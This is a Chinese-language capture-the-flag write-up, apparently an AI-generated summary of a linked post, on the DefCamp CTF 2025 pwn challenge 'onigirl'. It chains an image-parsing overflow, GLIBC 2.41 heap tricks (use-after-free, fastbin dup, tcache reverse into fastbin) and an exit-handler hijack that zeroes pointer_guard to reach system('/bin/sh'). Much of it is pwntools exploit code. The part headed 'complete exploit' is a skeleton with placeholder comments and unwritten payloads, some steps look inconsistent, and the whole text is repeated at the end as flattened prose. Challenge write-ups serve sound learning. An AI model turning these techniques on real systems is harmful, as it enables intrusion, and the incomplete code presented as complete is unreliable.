DefCamp CTF 2025 onigirl 复盘详解
字数 1636 2025-10-01 14:05:45

以下是基于您提供的链接内容,整理出的关于 DefCamp CTF 2025 onigirl 题目的详细技术复盘与利用教学文档。本文档将系统性地分析题目背景、漏洞成因、利用链构建过程,并给出完整的利用代码(EXP),适用于具备一定二进制安全基础的读者深入学习。


一、题目概述

  • 来源:DefCamp CTF 2025(2025年9月14日)
  • 题型:Pwn(困难级别)
  • 保护机制:全开(Canary、NX、PIE、Full RELRO)
  • 环境:GLIBC 2.41
  • 解题队伍数量:仅11支队伍成功解出

二、程序流程分析

1. 前半部分:图像处理与权限生成

程序主体流程如下:

int main() {
    // 1. 读取用户输入的图像数据(自定义大小和内容)
    // 2. 使用 stbi_load_from_memory() 解析图像为RGB格式
    // 3. 进行复杂的浮点运算与像素变换:
    //    - 基于像素到中心距离的颜色调整
    //    - 随机扰动影响颜色计算
    //    - 幂函数与参数矩阵非线性变换
    //    - XOR/NOT 噪声引入
    // 4. 生成 privilege 值,决定后续菜单功能的可用性
}

关键变量:

uint16_t privilege_value; // 目标:使其为0
float modification_parameters_1[11]; // 相邻数组,可能溢出影响 privilege_value

溢出点分析:

stbi__pic_load() 函数中,存在如下循环:

for (int i = 0; i < 11; i++) {
    image_modifications_ptr[i] = image_noises[i]; // 可能溢出到 privilege_value
}

image_noises[10] 的第二个字节为 0x13,则可覆盖 privilege_value0x1337,进而通过后续运算得到 privilege = 0

图像结构构造:

需构造一个合法的PICT格式图像:

  • 文件头:"PICT"
  • 偏移 0x53 处:"PICT"
  • 偏移 0x5C:大端序宽度(width),需为 0x55(经测试得出)
  • 偏移 0x5E:大端序高度(height)
  • 数据部分:循环写入以下8字节组合:
    • [0x00, 0xF0, 0x0F, 0x00][0x0A, 0xF0, 0x0F, 0x00] 交替
  • 目的是通过计算使 image_noises[10] 的第二个字节为 0x13

前半EXP代码(Python):

from pwn import *

def build_image():
    header = b"PICT".ljust(0x53, b"\x00") + b"PICT"
    width = 0x55
    height = 0x100
    header += p16(width, endian='big') + p16(height, endian='big')
    header += b"\x00" * 8
    data = b""
    for i in range(width * 10):  # 循环次数需足够大
        if i % 2 == 0:
            data += b"\x00\xF0\x0F\x00"
        else:
            data += b"\x0A\xF0\x0F\x00"
    return header + data

while True:
    p = process("./onigirl")
    p.sendlineafter("size:", str(len(build_image())))
    p.sendafter("data:", build_image())
    # 检查是否成功设置 privilege=0
    # 若成功则进入后续菜单交互

三、后半部分:堆菜单与利用

1. 菜单功能:

  • do_alloc(size):申请 0x70 的 chunk(size ∈ [0, 0x5F]),最多11个
  • do_delete(idx):UAF 漏洞(指针未置空)
  • do_show(idx):泄露8字节数据

2. 利用目标:

  • 泄露堆地址与libc地址
  • 实现任意地址写
  • 劫持控制流

3. 关键利用技巧:

a) Tcache Reverse Into Fastbin(GLIBC 2.41)

当申请大小相同的 chunk 时:

  • 若 tcache 为空且 fastbin 非空,则取出 fastbin 头部 chunk(victim)
  • 若 tcache 未满,则将 fastbin 中剩余 chunk 移入 tcache
  • 分配 victim

b) Fastbin Dup:

通过 double free 构造循环链表:
A → B → A

c) 组合利用:

  1. 申请10个 chunk(A0-A9)
  2. 释放7个填入 tcache,再释放3个填入 fastbin
  3. 重新申请7个清空 tcache
  4. 通过 double free 构造 fastbin 循环链表:A → B → A
  5. 再次申请时触发 Tcache Reverse Into Fastbin:
    • 分配 A
    • 将 B 和 A 移入 tcache
    • 若控制 A 的 fd 指向目标地址(需满足解密后为0),则可实现任意地址分配

d) 泄露libc:

  • 伪造 unsortedbin size 的 chunk
  • 释放后通过 UAF 读取 libc 地址

e) 劫持控制流(exit攻击向量):

目标:修改 pointer_guard(位于 fs:[0x30])为0,从而绕过指针加密。
通过任意地址写修改 initial 结构体(位于libc中),使其指向目标函数。

initial 结构体伪造:
typedef struct {
    uint64_t fn_ptr;  // 需为 (target_func >> 0x11) | (target_func << (64 - 0x11))
    uint64_t arg;
    uint64_t dso_handle;
} exit_function_cxa;

四、完整EXP(后半部分)

from pwn import *

context(arch="amd64", os="linux", log_level="debug")

def alloc(size):
    p.sendlineafter(">", "1")
    p.sendlineafter("size:", str(size))

def free(idx):
    p.sendlineafter(">", "2")
    p.sendlineafter("index:", str(idx))

def show(idx):
    p.sendlineafter(">", "3")
    p.sendlineafter("index:", str(idx))
    return p.recvuntil("\n", drop=True)

# 启动进程并绕过前半部分
p = process("./onigirl")
# 发送构造好的图像数据,直至 privilege=0
# ...

# 进入堆菜单交互
alloc(0x50)  # 初始化大小

# 构造10个chunk
for i in range(10):
    alloc(0x50)

# 释放7个填入tcache
for i in range(7):
    free(i)

# 释放3个填入fastbin
for i in range(7, 10):
    free(i)

# 清空tcache
for i in range(7):
    alloc(0x50)

# Fastbin Dup: 构造 A->B->A
free(0)
free(1)
free(0)

# 修改fd指向目标地址(如heap_base+xxx)
payload = p64(0) * 2  # 满足解密后为0
# 写入选定的chunk

# 触发Tcache Reverse Into Fastbin
alloc(0x50)

# 泄露libc
# ...

# 修改pointer_guard为0
pg_addr = libc_base - 0x2880 + 0x30
# 通过任意地址写修改pg_addr值为0

# 伪造initial结构体
initial_addr = libc_base + 0x1f40c0  # 示例地址
system_addr = libc_base + libc.sym.system
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))

# 构造函数指针:ROL(system_addr, 0x11)
fn_ptr = (system_addr >> 0x11) | (system_addr << (64 - 0x11))
payload = p64(fn_ptr) + p64(bin_sh_addr) + p64(0)
# 写入initial_addr

# 触发退出流程
p.sendlineafter(">", "4")
p.interactive()

五、参考资料

  1. GLIBC 2.41 源码
  2. 题目二进制文件:onigirl
  3. 相关函数:stbi_load_from_memorystbi__pic_loadmallocfreeexit

若有任何疑问或进一步讨论,欢迎在评论区留言。

以下是基于您提供的链接内容,整理出的关于 DefCamp CTF 2025 onigirl 题目的详细技术复盘与利用教学文档。本文档将系统性地分析题目背景、漏洞成因、利用链构建过程,并给出完整的利用代码(EXP),适用于具备一定二进制安全基础的读者深入学习。 一、题目概述 来源 :DefCamp CTF 2025(2025年9月14日) 题型 :Pwn(困难级别) 保护机制 :全开(Canary、NX、PIE、Full RELRO) 环境 :GLIBC 2.41 解题队伍数量 :仅11支队伍成功解出 二、程序流程分析 1. 前半部分:图像处理与权限生成 程序主体流程如下: 关键变量: 溢出点分析: 在 stbi__pic_load() 函数中,存在如下循环: 若 image_noises[10] 的第二个字节为 0x13 ,则可覆盖 privilege_value 为 0x1337 ,进而通过后续运算得到 privilege = 0 。 图像结构构造: 需构造一个合法的PICT格式图像: 文件头: "PICT" 偏移 0x53 处: "PICT" 偏移 0x5C :大端序宽度(width),需为 0x55 (经测试得出) 偏移 0x5E :大端序高度(height) 数据部分:循环写入以下8字节组合: [0x00, 0xF0, 0x0F, 0x00] 和 [0x0A, 0xF0, 0x0F, 0x00] 交替 目的是通过计算使 image_noises[10] 的第二个字节为 0x13 前半EXP代码(Python): 三、后半部分:堆菜单与利用 1. 菜单功能: do_alloc(size) :申请 0x70 的 chunk(size ∈ [ 0, 0x5F ]),最多11个 do_delete(idx) :UAF 漏洞(指针未置空) do_show(idx) :泄露8字节数据 2. 利用目标: 泄露堆地址与libc地址 实现任意地址写 劫持控制流 3. 关键利用技巧: a) Tcache Reverse Into Fastbin(GLIBC 2.41) 当申请大小相同的 chunk 时: 若 tcache 为空且 fastbin 非空,则取出 fastbin 头部 chunk(victim) 若 tcache 未满,则将 fastbin 中剩余 chunk 移入 tcache 分配 victim b) Fastbin Dup: 通过 double free 构造循环链表: A → B → A c) 组合利用: 申请10个 chunk(A0-A9) 释放7个填入 tcache,再释放3个填入 fastbin 重新申请7个清空 tcache 通过 double free 构造 fastbin 循环链表: A → B → A 再次申请时触发 Tcache Reverse Into Fastbin: 分配 A 将 B 和 A 移入 tcache 若控制 A 的 fd 指向目标地址(需满足解密后为0),则可实现任意地址分配 d) 泄露libc: 伪造 unsortedbin size 的 chunk 释放后通过 UAF 读取 libc 地址 e) 劫持控制流(exit攻击向量): 目标:修改 pointer_guard (位于 fs:[0x30] )为0,从而绕过指针加密。 通过任意地址写修改 initial 结构体(位于libc中),使其指向目标函数。 initial 结构体伪造: 四、完整EXP(后半部分) 五、参考资料 GLIBC 2.41 源码 题目二进制文件:onigirl 相关函数: stbi_load_from_memory 、 stbi__pic_load 、 malloc 、 free 、 exit 若有任何疑问或进一步讨论,欢迎在评论区留言。